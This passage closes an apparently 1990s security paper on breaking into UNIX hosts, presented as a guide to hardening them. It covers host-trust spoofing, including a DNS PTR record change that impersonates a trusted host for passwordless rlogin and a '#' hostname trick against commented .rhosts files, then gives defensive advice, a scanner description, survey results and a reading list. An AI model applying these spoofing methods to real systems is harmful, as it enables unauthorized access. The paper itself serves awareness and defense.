  741. the discussion to clients in disguise.
  742.  
  743. There are many ways that a host can trust: .rhosts and hosts.equiv files
  744. that allow access without password verification; window servers that allow
  745. remote systems to use and abuse privileges; export files that control
  746. access via NFS, and more.
  747.  
  748. Nearly all of these rely on client IP address to hostname conversion to
  749. determine whether or not service is to be granted. The simplest method uses
  750. the /etc/hosts file for a direct lookup. However, today most hosts use
  751. either DNS (the Domain Name Service), NIS, or both for name lookup service.
  752. A reverse lookup occurs when a server has an IP address (from a client host
  753. connecting to it) and wishes to get the corresponding client hostname.
  754.  
  755. Although the concept of how host trust works is well understood by most
  756. system administrators, the _dangers_ of trust, and the _practical_ problem
  757. it represents, irrespective of hostname impersonation, is one of the least
  758. understood problems we know of on the Internet. This goes far beyond the
  759. obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems --
  760. indeed, much of the useful services in UNIX are based on the concept that
  761. well known (to an administrator or user) sites are trusted in some way.
  762. What is not understood is how networking so tightly binds security between
  763. what are normally considered disjoint hosts.
  764.  
  765. Any form of trust can be spoofed, fooled, or subverted, especially when the
  766. authority that gets queried to check the credentials of the client is
  767. either outside of the server's administrative domain, or when the trust
  768. mechanism is based on something that has a weak form of authentication;
  769. both are usually the case.
  770.  
  771. Obviously, if the host containing the database (either NIS, DNS, or
  772. whatever) has been compromised, the intruder can convince the target host
  773. that s/he is coming from any trusted host; it is now sufficient to find out
  774. which hosts are trusted by the target. This task is often greatly helped by
  775. examining where system administrators and system accounts (such as root,
  776. etc.) last logged in from. Going back to our target, victim.com, you note
  777. that root and some other system accounts logged in from big.victim.com. You
  778. change the PTR record for evil.com so that when you attempt to rlogin in
  779. from evil.com to victim.com, victim.com will attempt to look up your
  780. hostname and will find what you placed in the record. If the record in the
  781. DNS database looks like:
  782.  
  783.  1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  784.  
  785. And you change it to:
  786.  
  787.  1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  788.  
  789. then, depending on how naive victim.com's system software is, victim.com
  790. will believe the login comes from big.victim.com, and, assuming that
  791. big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
  792. able to login without supplying a password. With NIS, it is a simple matter
  793. of either editing the host database on the NIS master (if this is
  794. controlled by the intruder) or of spoofing or forcing NIS (see discussion
  795. on NIS security above) to supply the target with whatever information you
  796. desire. Although more complex, interesting, and damaging attacks can be
  797. mounted via DNS, time and space don't allow coverage of these methods here.
  798.  
  799. Two methods can be used to prevent such attacks. The first is the most
  800. direct, but perhaps the most impractical. If your site doesn't use any
  801. trust, you won't be as vulnerable to host spoofing. The other strategy is
  802. to use cryptographic protocols. Using the secure RPC protocol (used in
  803. secure NFS, NIS+, etc.) is one method; although it has been "broken"
  804. cryptographically, it still provides better assurance than RPC
  805. authentication schemes that do not use any form of encryption. Other
  806. solutions, both hardware (smartcards) and software (Kerberos), are being
  807. developed, but they are either incomplete or require changes to system
  808. software.
  809.  
  810. Appendix B details the results of an informal survey taken from a variety
  811. of hosts on the Internet.
  812.  
  813. Protecting the system
  814.  
  815. It is our hope that we have demonstrated that even some of the most
  816. seemingly innocuous services run can offer (sometimes unexpectedly)
  817. ammunition to determined system crackers. But, of course, if security were
  818. all that mattered, computers would never be turned on, let alone hooked
  819. into a network with literally millions of potential intruders. Rather than
  820. reiterating specific advice on what to switch on or off, we instead offer
  821. some general suggestions:
  822.  
  823.    * If you cannot turn off the finger service, consider installing a
  824.      modified finger daemon. It is rarely necessary to reveal a user's home
  825.      directory and the source of last login.
  826.  
  827.    * Don't run NIS unless it's absolutely necessary. Use NFS as little as
  828.      possible.
  829.  
  830.    * Never export NFS filesystems unrestricted to the world. Try to export
  831.      file systems read-only where possible.
  832.  
  833.    * Fortify and protect servers (e.g. hosts that provide a service to
  834.      other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative
  835.      accounts on these hosts.
  836.  
  837.    * Examine carefully services offered by inetd and the portmapper.
  838.      Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd
  839.      wrappers, if for no other reason than to log the sources of
  840.      connections to your host. This adds immeasurably to the standard UNIX
  841.      auditing features, especially with respect to network attacks. If
  842.      possible, use the loghost mechanism of syslog to collect
  843.      security-related information on a secure host.
  844.  
  845.    * Eliminate trust unless there is an absolute need for it. Trust is your
  846.      enemy.
  847.  
  848.    * Use shadow passwords and a passwd command that disallows poor
  849.      passwords. Disable or delete unused/dormant system or user accounts.
  850.  
  851.    * Keep abreast of current literature (see our suggested reading list and
  852.      bibliography at the end of this paper) and security tools; communicate
  853.      to others about security problems and incidents. At minimum, subscribe
  854.      to the CERT mailing list and phrack magazine (plus the firewalls
  855.      mailing list, if your site is using or thinking about installing a
  856.      firewall) and read the usenet security newsgroups to get the latest
  857.      information on security problems. Ignorance is the deadliest security
  858.      problem we are aware of.
  859.  
  860.    * Install all vendor security patches as soon as possible, on all of
  861.      your hosts. Examine security patch information for other vendors -
  862.      many bugs (rdist, sendmail) are common to many UNIX variants.
  863.  
  864. It is interesting to note that common solutions to security problems such
  865. as running Kerberos or using one-time passwords or digital tokens are
  866. ineffective against most of the attacks we discuss here. We heartily
  867. recommend the use of such systems, but be aware that they are _not_ a total
  868. security solution -- they are part of a larger struggle to defend your
  869. system.
  870.  
  871. Conclusions
  872.  
  873. Perhaps none of the methods shown here are surprising; when writing this
  874. paper, we didn't learn very much about how to break into systems. What we
  875. _did_ learn was, while testing these methods out on our own systems and
  876. that of friendly sites, just how effective this set of methods is for
  877. gaining access to a typical (UNIX) Internet host. Tiring of trying to type
  878. these in all by hand, and desiring to keep our own systems more secure, we
  879. decided to implement a security tool (SATAN) that attempts to check remote
  880. hosts for at least some of the problems discussed here. The typical
  881. response, when telling people about our paper and our tool was something on
  882. the order of "that sounds pretty dangerous -- I hope you're not going to
  883. give it out to everybody. But you since you can trust me, may I have a copy
  884. of it?"
  885.  
  886. We never set out to create a cookbook or toolkit of methods and programs on
  887. how to break into systems -- instead, we saw that these same methods were
  888. being used, every day, against ourselves and against friendly system
  889. administrators. We believe that by propagating information that normally
  890. wasn't available to those outside of the underworld, we can increase
  891. security by raising awareness. Trying to restrict access to "dangerous"
  892. security information has never seemed to be a very effective method for
  893. increasing security; indeed, the opposite appears to be the case, since the
  894. system crackers have shown little reticence to share their information with
  895. each other.
  896.  
  897. While it is almost certain that some of the information presented here is
  898. new material to (aspiring) system crackers, and that some will use it to
  899. gain unauthorized entrance onto hosts, the evidence presented even by our
  900. ad hoc tests shows that there is a much larger number of insecure sites,
  901. simply because the system administrators don't know any better -- they
  902. aren't stupid or slow, they simply are unable to spend the very little free
  903. time that they have to explore all of the security issues that pertain to
  904. their systems. Combine that with no easy access to this sort of information
  905. and you have poorly defended systems. We (modestly) hope that this paper
  906. will provide badly-needed data on how systems are broken into, and further,
  907. to explain _why_ certain steps should be taken to secure a system. Knowing
  908. why something is a problem is, in our opinion, the real key to learning and
  909. to making an informed, intelligent choice as to what security really means
  910. for your site.
  911.  
  912. ---------------------------------------------------------------------------
  913.  
  914. Appendix A:
  915.  
  916. SATAN (Security Analysis Tool for Auditing Networks)
  917.  
  918. Originally conceived some years ago, SATAN is actually the prototype of a
  919. much larger and more comprehensive vision of a security tool. In its
  920. current incarnation, SATAN remotely probes and reports various bugs and
  921. weaknesses in network services and windowing systems, as well as detailing
  922. as much generally useful information as possible about the target(s). It
  923. then processes the data with a crude filter and what might be termed an
  924. expert system to generate the final security analysis. While not
  925. particularly fast, it is extremely modular and easy to modify.
  926.  
  927. SATAN consists of several sub-programs, each of which is an executable file
  928. (perl, shell, compiled C binary, whatever) that tests a host for a given
  929. potential weakness. Adding further test programs is as simple as putting an
  930. executable into the main directory with the extension ".sat"; the driver
  931. program will automatically execute it. The driver generates a set of
  932. targets (using DNS and a fast version of ping together to get "live"
  933. targets), and then executes each of the programs over each of the targets.
  934. A data filtering/interpreting program then analyzes the output, and lastly
  935. a reporting program digests everything into a more readable format.
  936.  
  937. The entire package, including source code and documentation, will be made
  938. freely available to the public, via anonymous ftp and by posting it to one
  939. of the numerous source code groups on the Usenet.
  940.  
  941. ---------------------------------------------------------------------------
  942.  
  943. Appendix B:
  944.  
  945. An informal survey conducted on about a dozen Internet sites (educational,
  946. military, and commercial, with over 200 hosts and 40000 accounts) revealed
  947. that on the average, close to 10 percent of a site's accounts had .rhosts
  948. files. These files averaged six trusted hosts each; however, it was not
  949. uncommon to have well over one hundred entries in an account's .rhosts
  950. file, and on a few occasions, the number was over five hundred! (This is
  951. not a record one should be proud of owning.) In addition, _every_ site
  952. directly on the internet (one site was mostly behind a firewall) trusted a
  953. user or host at another site -- thus, the security of the site was not
  954. under the system administrators direct control. The larger sites, with more
  955. users and hosts, had a lower percentage of users with .rhosts files, but
  956. the size of .rhosts files increased, as well as the number of trusted
  957. off-site hosts.
  958.  
  959. Although it was very difficult to verify how many of the entries were
  960. valid, with such hostnames such as "Makefile", "Message-Id:", and
  961. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
  962. question the wisdom of putting a site's security in the hands of its users.
  963. Many users (especially the ones with larger .rhosts files) attempted to put
  964. shell-style comments in their .rhosts files, which most UNIX systems
  965. attempt to resolve as valid host names. Unfortunately, an attacker can then
  966. use the DNS and NIS hostname spoofing techniques discussed earlier to set
  967. their hostname to "#" and freely log in. This puts a great many sites at
  968. risk (at least one major vendor ships their systems with comments in their
  969. /etc/hosts.equiv files.)
  970.  
  971. You might think that these sites were not typical, and, as a matter of
  972. fact, they weren't. Virtually all of the administrators knew a great deal
  973. about security and write security programs for a hobby or profession, and
  974. many of the sites that they worked for did either security research or
  975. created security products. We can only guess at what a "typical" site might
  976. look like.
  977.  
  978. ---------------------------------------------------------------------------
  979.  
  980. Appendix C:
  981.  
  982. After receiving mail from a site that had been broken into from one of our
  983. systems, an investigation was started. In time, we found that the intruder
  984. was working from a list of ".com" (commercial) sites, looking for hosts
  985. with easy-to steal password files. In this case, "easy-to-steal" referred
  986. to sites with a guessable NIS domainname and an accessible NIS server. Not
  987. knowing how far the intruder had gotten, it looked like a good idea to warn
  988. the sites that were in fact vulnerable to password file theft. Of the 656
  989. hosts in the intruder's hit list, 24 had easy-to-steal password files --
  990. about one in twenty-five hosts! One third of these files contained at least
  991. one password-less account with an interactive shell. With a grand total of
  992. 1594 password-file entries, a ten-minute run of a publically-available
  993. password cracker (Crack) revealed more than 50 passwords, using nothing but
  994. a low-end Sun workstation. Another 40 passwords were found within the next
  995. 20 minutes; and a root password was found in just over an hour. The result
  996. after a few days of cracking: five root passwords found, 19 out of 24
  997. password files (eighty percent) with at least one known password, and 259
  998. of 1594 (one in six) passwords guessed.
  999.  
  1000. ---------------------------------------------------------------------------
  1001.  
  1002. Appendix D:
  1003.  
  1004. How to get some free security resources on the Internet
  1005.  
  1006. Mailing lists:
  1007.  
  1008.    * The CERT (Computer Emergency Response Team) advisory mailing list.
  1009.      Send e-mail to cert@cert.org, and ask to be placed on their mailing
  1010.      list.
  1011.  
  1012.    * The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us
  1013.      and ask to be added to the list.
  1014.  
  1015.    * The Firewalls mailing list. Send the following line to
  1016.      majordomo@greatcircle.com:
  1017.  
  1018.          subscribe firewalls
  1019.  
  1020.    * Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu,
  1021.      asking to be placed on the list.
  1022.  
  1023. Free Software:
  1024.  
  1025. COPS (Computer Oracle and Password System) is available via anonymous ftp
  1026. from archive.cis.ohio-state.edu, in pub/cops/1.04+.
  1027.  
  1028. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in
  1029. pub/security.
  1030.  
  1031. Crack is available from ftp.uu.net, in /usenet/comp.sources.misc/volume28.
  1032.  
  1033. TAMU is a UNIX auditing tool that is part of a larger suite of excellent
  1034. tools put out by a group at the Texas A&M University. They can be gotten
  1035. via anonymous ftp at net.tamu.edu, in pub/security/TAMU.
  1036.  
  1037. Sources for ftpd and many other network utilities can be found in
  1038. ftp.uu.net, in packages/bsd-sources.
  1039.  
  1040. Source for ISS (Internet Security Scanner), a tool that remotely scans for
  1041. various network vulnerabilities, is available via anonymous ftp from
  1042. ftp.uu.net, in usenet/comp.sources.misc/volume40/iss.
  1043.  
  1044. Securelib is available via anonymous ftp from ftp.uu.net, in
  1045. usenet/comp.sources.misc/volume36/securelib.
  1046.  
  1047. The latest version of berkeley sendmail is available via anonymous ftp from
  1048. ftp.cs.berkeley.edu, in ucb/sendmail.
  1049.  
  1050. Tripwire, a UNIX filesystem integrity checker+, is available via anonymous
  1051. ftp at ftp.cs.purdue.edu, in pub/spaf/COAST/Tripwire.
  1052.  
  1053. ---------------------------------------------------------------------------
  1054.  
  1055. Bibliography:
  1056.  
  1057. Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts
  1058. Institute of Technology, June 1987.
  1059.  
  1060. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992
  1061. (unpublished).
  1062.  
  1063. Massachusetts Institute of Technology, X Window System Protocol, Version
  1064. 11, 1990.
  1065.  
  1066. Shimomura, Tsutomu, private communication.
  1067.  
  1068. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  1069.  
  1070. ---------------------------------------------------------------------------
  1071.  
  1072. Suggested reading:
  1073.  
  1074. Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite",
  1075. Computer Communication Review 19 (2), 1989; a comment by Stephen Kent
  1076. appears in volume 19 (3), 1989.
  1077.  
  1078. Garfinkel, Simson and Spafford, Gene, "Practical UNIX Security", O'Reilly
  1079. and Associates, Inc., 1992.
  1080.  
  1081. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol
  1082. Study: Network Information Service", Computer Communication Review 22 (5)
  1083. 1992.
  1084.  
  1085. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four,
  1086. Issue Forty-Three, File 14 of 27.
  1087.  
  1088. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept 1993.
  1089.  
  1090. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System
  1091. Protocal", Purdue University, August 1993.
  1092.  
  1093. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27
  1094. (8), 1984.
  1095.